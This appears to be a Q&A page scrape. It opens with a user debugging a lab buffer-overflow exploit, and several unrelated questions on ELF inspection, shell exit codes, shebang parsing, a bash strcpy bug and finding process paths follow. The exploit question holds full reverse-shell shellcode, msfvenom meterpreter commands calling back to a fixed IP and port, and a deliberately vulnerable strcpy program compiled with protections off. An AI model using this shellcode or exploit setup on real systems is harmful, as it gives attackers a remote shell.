I am using this shellcode:
\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\xc0\xa8\x0f\x81\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
from http://shell-storm.org/shellcode/files/shellcode-883.php
When I execute the .c program, it works, it receives connection and I can execute commands without any problem.
The problem is when injecting it in a buffer overflow, from the gdb: I receive the connection (which means that shellcode, offset and EIP are allright) and I am using the right IP and PORT, but right away, it just crashes.
I have tried with other shellcodes, with:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.15.129 lport=1337 -b '\x00' -f c
and:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.15.129 lport=1337 -b '\x00\xff\x09\x0a' -e x86/shikata_ga_nai -f c
And I receive the connection well, but.... right away, it just crashes and can't execute commands.
Mentioning that this is my .c vulnerable code:
#include <string.h>
#include <stdio.h>
void func(char *arg){
char nombre[90];
strcpy(nombre,arg);
printf ("\nBienvenido a Linux Exploiting %s\n\n", nombre);
}
int main (int argc, char *argv[]){
if (argc != 2){
printf ("Uso %s Nombre\n", argv[0]);
exit(0);
}
func(argv[1]);
printf("Fin del programa\n");
return 0;
}
I inject: Shellcode + (102-74 (or -98 with the metasploit payloads))x"A" + RET (I get the addr alright by setting a break after the strcpyand getting where the buffer starts exactly and I know it works, because as I said, I receive the connection (If I change a byte anywhere I don't receive anything).
And I am compiling it with: //gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack -g prog2.c -o prog2
Related
Consider the following main.c:
#include <stdio.h>
const char greeting[] = "hello world";
int main() {
printf("%s!\n", greeting);
return 0;
}
I compiled this in Ubuntu with:
gcc -g main.c -o main.exe
I would like to retrieve the value of the variable named greeting; considering it is const, it won't change, so it should be possible to retrieve the value "hello world" from the executable.
Basically, I can see the variable name in the binary using:
$ readelf -p .rodata main.exe | grep hello
[ 8] hello world
... and I can see the value using:
$ readelf -s main.exe | grep greeting
59: 0000000000002008 12 OBJECT GLOBAL DEFAULT 18 greeting
I could try parsing the output of readelf -s and readelf -p to get what I want (retrieve the value of the variable named greeting), but I'm pretty sure I'll mess it up.
So is there some combination of switches of bintools utilities (or any command line program, really), which would perform the equivalent of the following pseudocode:
$ [tool] --get-value-of-variable-name greeting --program=main.exe
"hello world"
or even:
$ [tool] --verbose --get-value-of-variable-name greeting --program=main.exe
The constant value of the variable "greeting" in `main.exe` is:
is there some combination of switches of bintools utilities (or any command line program, really), which would perform the equivalent of the following pseudocode:
Sure:
you need to find the section in which the symbol resides, and the address within that section, and the length of data, and
you need to find where in the file the section itself starts, and
you need to dump length bytes from the right offset in the file.
Getting this all together (my file has slightly different data from yours):
readelf -Ws main.exe | grep greeting
29: 0000000000002008 12 OBJECT GLOBAL DEFAULT 17 greeting
readelf -WS main.exe | grep '\[17\]'
[17] .rodata PROGBITS 0000000000002000 002000 000019 00 A 0 0 8
This tells me that I need to dump 12 bytes (actually 11, since I don't want the terminating \0), starting of offset 0x2000 + (0x2008 (symbol address) - 0x2000 (section address)).
dd if=main.exe bs=1 skip=$((0x2008)) count=11 2>/dev/null
hello world
Now, parsing this data out from readelf output is more trouble than it's worth -- it's much easier to write a simple C++ program to produce the desired output. Using ELFIO should make this very easy.
Suppose I have this simple C program (test.c):
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
exit (1);
}
Obviously, the exit code of this program is 1:
$ gcc test.c
$ ./a.out
$ echo $?
1
But when I run test ./a.out, the result of the test doesn't match the exit code:
$ test ./a.out
$ echo $?
0
So what is actually being tested? Why is the result of the test 0?
test is a Bash built-in, often invoked by the alternative name [.
The last command (test ./a.out) exits with status 0 indicating success because test ./a.out checks whether ./a.out as a string has one or more characters in it (is not an empty string), and because it isn't an empty string, returns success or 0. The test ./a.out command line does not execute your a.out program — as you could see by printing something from within your program.
As written, your program doesn't need the <stdio.h> header or the arguments to main() — it should be int main(void). You could lose <stdlib.h> too if you use return 1; instead of exit(1);:
int main(void)
{
return 1;
}
To use the exit status in an if condition in the shell, just use it directly:
if ./a.out ; then
echo Success
else
echo Failure
fi
Rule of Thumb: Don't call C programs test because you will be confused sooner or later — usually sooner rather than later.
Your C program returns "1" to the shell (I'd prefer"return()" over exit()", but...)
If you wanted to actually run "a.out" in conjunction with the "*nix" test command, you'd use syntax like:
`./a.out` # classic *nix
or
$(./a.out) # Bash
If you did that, however, "test" would read the value printed to "stdout", and NOT the value returned by your program on exit.
You can read more about test here:
test(1) - Linux man page
The classic test command: Bash hackers wiki
Understanding exit codes and how to use them in Bash scripts
Here is an example:
C program:
#include <stdio.h>
int main (int argc, char *argv[]) {
printf("%d\n", argc);
return 2;
}
Shell script:
echo "Assign RETVAL the return value of a.out:"
./a.out RETVAL=$? echo " " RETVAL=$RETVAL
echo "Assign RETVAL the value printed to stdout by a.out:"
RETVAL=$(./a.out) echo " " RETVAL=$RETVAL
echo "Turn an 'trace' and run a.out with 'test':"
set -x
if [ $(./a.out) -eq 1 ]; then
echo "One"
else
echo "Not One"
fi
Example output:
paulsm#vps2:~$ ./tmp.sh
Assign RETVAL the return value of a.out:
1
RETVAL=2
Assign RETVAL the value printed to stdout by a.out:
RETVAL=1
Turn an 'trace' and run a.out with 'test':
+++ ./a.out
++ '[' 1 -eq 1 ']'
++ echo One
One
ALSO:
A couple of points that have already been mentioned:
a. return 1 is generally a better choice than exit (1).
b. "test" is probably a poor name for your executable - because it collides with the built-in "test" command. Something like "test_return" might be a better choice.
As "is known", a script my-script-file which starts with
#!/path/to/interpreter -arg1 val1 -arg2 val2
is executed by exec calling /path/to/interpreter with 2(!) arguments:
-arg1 val1 -arg2 val2
my-script-file
(and not, as one might naively expect, with 5 arguments
-arg1
val1
-arg2
val2
my-script-file
as has been explained in many previous questions, e.g.,
https://stackoverflow.com/a/4304187/850781).
My problem is from the POV of an interpreter developer, not script writer.
How do I detect from inside the interpreter executable that I was called from shebang as opposed to the command line?
Then I will be able to decide whether I need to split my first argument
by space to go from "-arg1 val1 -arg2 val2" to ["-arg1", "val1", "-arg2", "val2"] or not.
The main issue here is script files named with spaces in them.
If I always split the 1st argument, I will fail like this:
$ my-interpreter "weird file name with spaces"
my-interpreter: "weird": No such file or directory
On Linux, with GNU libc or musl libc, you can use the aux-vector to distinguish the two cases.
Here is some sample code:
#define _GNU_SOURCE 1
#include <stdio.h>
#include <errno.h>
#include <sys/auxv.h>
#include <sys/stat.h>
int
main (int argc, char* argv[])
{
printf ("argv[0] = %s\n", argv[0]);
/* https://www.gnu.org/software/libc/manual/html_node/Error-Messages.html */
printf ("program_invocation_name = %s\n", program_invocation_name);
/* http://man7.org/linux/man-pages/man3/getauxval.3.html */
printf ("auxv[AT_EXECFN] = %s\n", (const char *) getauxval (AT_EXECFN));
/* Determine whether the last two are the same. */
struct stat statbuf1, statbuf2;
if (stat (program_invocation_name, &statbuf1) >= 0
&& stat ((const char *) getauxval (AT_EXECFN), &statbuf2) >= 0)
printf ("same? %d\n", statbuf1.st_dev == statbuf2.st_dev && statbuf1.st_ino == statbuf2.st_ino);
}
Result for a direct invocation:
$ ./a.out
argv[0] = ./a.out
program_invocation_name = ./a.out
auxv[AT_EXECFN] = ./a.out
same? 1
Result for an invocation through a script that starts with #!/home/bruno/a.out:
$ ./a.script
argv[0] = /home/bruno/a.out
program_invocation_name = /home/bruno/a.out
auxv[AT_EXECFN] = ./a.script
same? 0
This approach is, of course, highly unportable: Only Linux has the getauxv function. And there are surely cases where it does not work well.
I tried to install bash 4.2 from source (not homebrew). It sort of runs, sort of fails. When I make it my default login shell, I can run many commands, but often basic commands such as cd /System kill the shell.
I downloaded the master updated tarball, and I basically installed it with the equivalent of this:
./configure && make && sudo make install
sudo ln -s /usr/local/bin/bash /bin/bash4
sudo bash -c "echo /bin/bash4 >> /private/etc/shells"
chsh -s /usr/local/bin/bash # A
...and I also went to System Prefs -> Users and Groups -> (me) -> Advanced Options and changed the default shell to /bin/bash4.
Homebrew seems to install readline and require that, as well as add an additional flag for -DSSH_SOURCE_BASHRC to the environment (which shouldn't be a problem for what I'm doing)
workaround: change \w to \W in PS1.
the problem seems to be this line when t_string does not start with $HOME.
(parse.y:5278)
strcpy (t_string, polite_directory_format (t_string));
a quick and dirty fix:
diff --git i/general.c w/general.c
index 491a7ea267ab..ec9b6271015d 100644
--- i/general.c
+++ w/general.c
## -700,10 +700,11 ## polite_directory_format (name)
strncpy (tdir + 1, name + l, sizeof(tdir) - 2);
tdir[0] = '~';
tdir[sizeof(tdir) - 1] = '\0';
- return (tdir);
}
else
- return (name);
+ strcpy (tdir, name);
+
+ return (tdir);
}
/* Trim NAME. If NAME begins with `~/', skip over tilde prefix. Trim to
it boils down to this test case that compiles and runs with gcc but fails with clang/llvm:
#include <stdio.h>
#include <string.h>
char *foo(char *buf) {
return(buf);
}
int main(int argc, char *argv[]) {
char buf[1024];
strcpy(buf, "buffer");
strcpy(buf, foo(buf));
printf("%s\n", buf);
}
.
> gcc -o test test.c
> ./test
buffer
> cc -o test test.c
> ./test
Abort trap: 6
How can I get the process details like name of application & real path of application from process id?
I am using Mac OS X.
It's quite easy to get the process name / location if you know the PID, just use proc_name or proc_pidpath. Have a look at the following example, which provides the process path:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <libproc.h>
int main (int argc, char* argv[])
{
pid_t pid; int ret;
char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
if ( argc > 1 ) {
pid = (pid_t) atoi(argv[1]);
ret = proc_pidpath (pid, pathbuf, sizeof(pathbuf));
if ( ret <= 0 ) {
fprintf(stderr, "PID %d: proc_pidpath ();\n", pid);
fprintf(stderr, " %s\n", strerror(errno));
} else {
printf("proc %d: %s\n", pid, pathbuf);
}
}
return 0;
}
You can use the Activity Monitor - http://en.wikipedia.org/wiki/Activity_Monitor
Or in the Terminal App you can use:
ps xuwww -p PID
PIDis the process id you are looking for
More help on 'ps`command you can find with
man ps
Try use lsof
example:
lsof -p 1066 -Fn | awk 'NR==2{print}' | sed "s/n\//\//"
output:
/Users/user/Library/Application Support/Sublime Text 2/Packages
If the PID is the PID of a "user application", then you can get the NSRunningApplication of the app like that:
NSRunningApplication * app = [NSRunningApplication
runningApplicationWithProcessIdentifier:pid
];
And to print the path of the executable:
NSLog(#"Executable of app: %#", app.executableURL.path);
the app bundle itself is here
NSLog(#"Executable of app: %#", app.bundleURL.path);
However this won't work with system or background processes, it's limited to user apps (those typically visible in the dock after launch). The NSRunningApplication object allows to to check if the app is ative, to hide/unhide it and do all other kind of neat stuff.
Just thought I mention it here for completeness. If you want to work with arbitrary processes, then the accepted answer is of course better.
I would like to make a better ssh-copy-id in bash only!!
For that, i have to know where is sshd to ask him his actual config.
On some system i have multiple sshd and which is not my friend.
Also on some macOS the ps command didn't show the full path for sshd.
lsof -p $PPID | grep /sshd | awk '{print $9}'
this return
/usr/sbin/sshd
after i could ask for
sudo /usr/sbin/sshd -T | grep authorizedkeysfile
this return, on some system
authorizedkeysfile .ssh/authorized_keys
so i have to put in .ssh/authorized_keys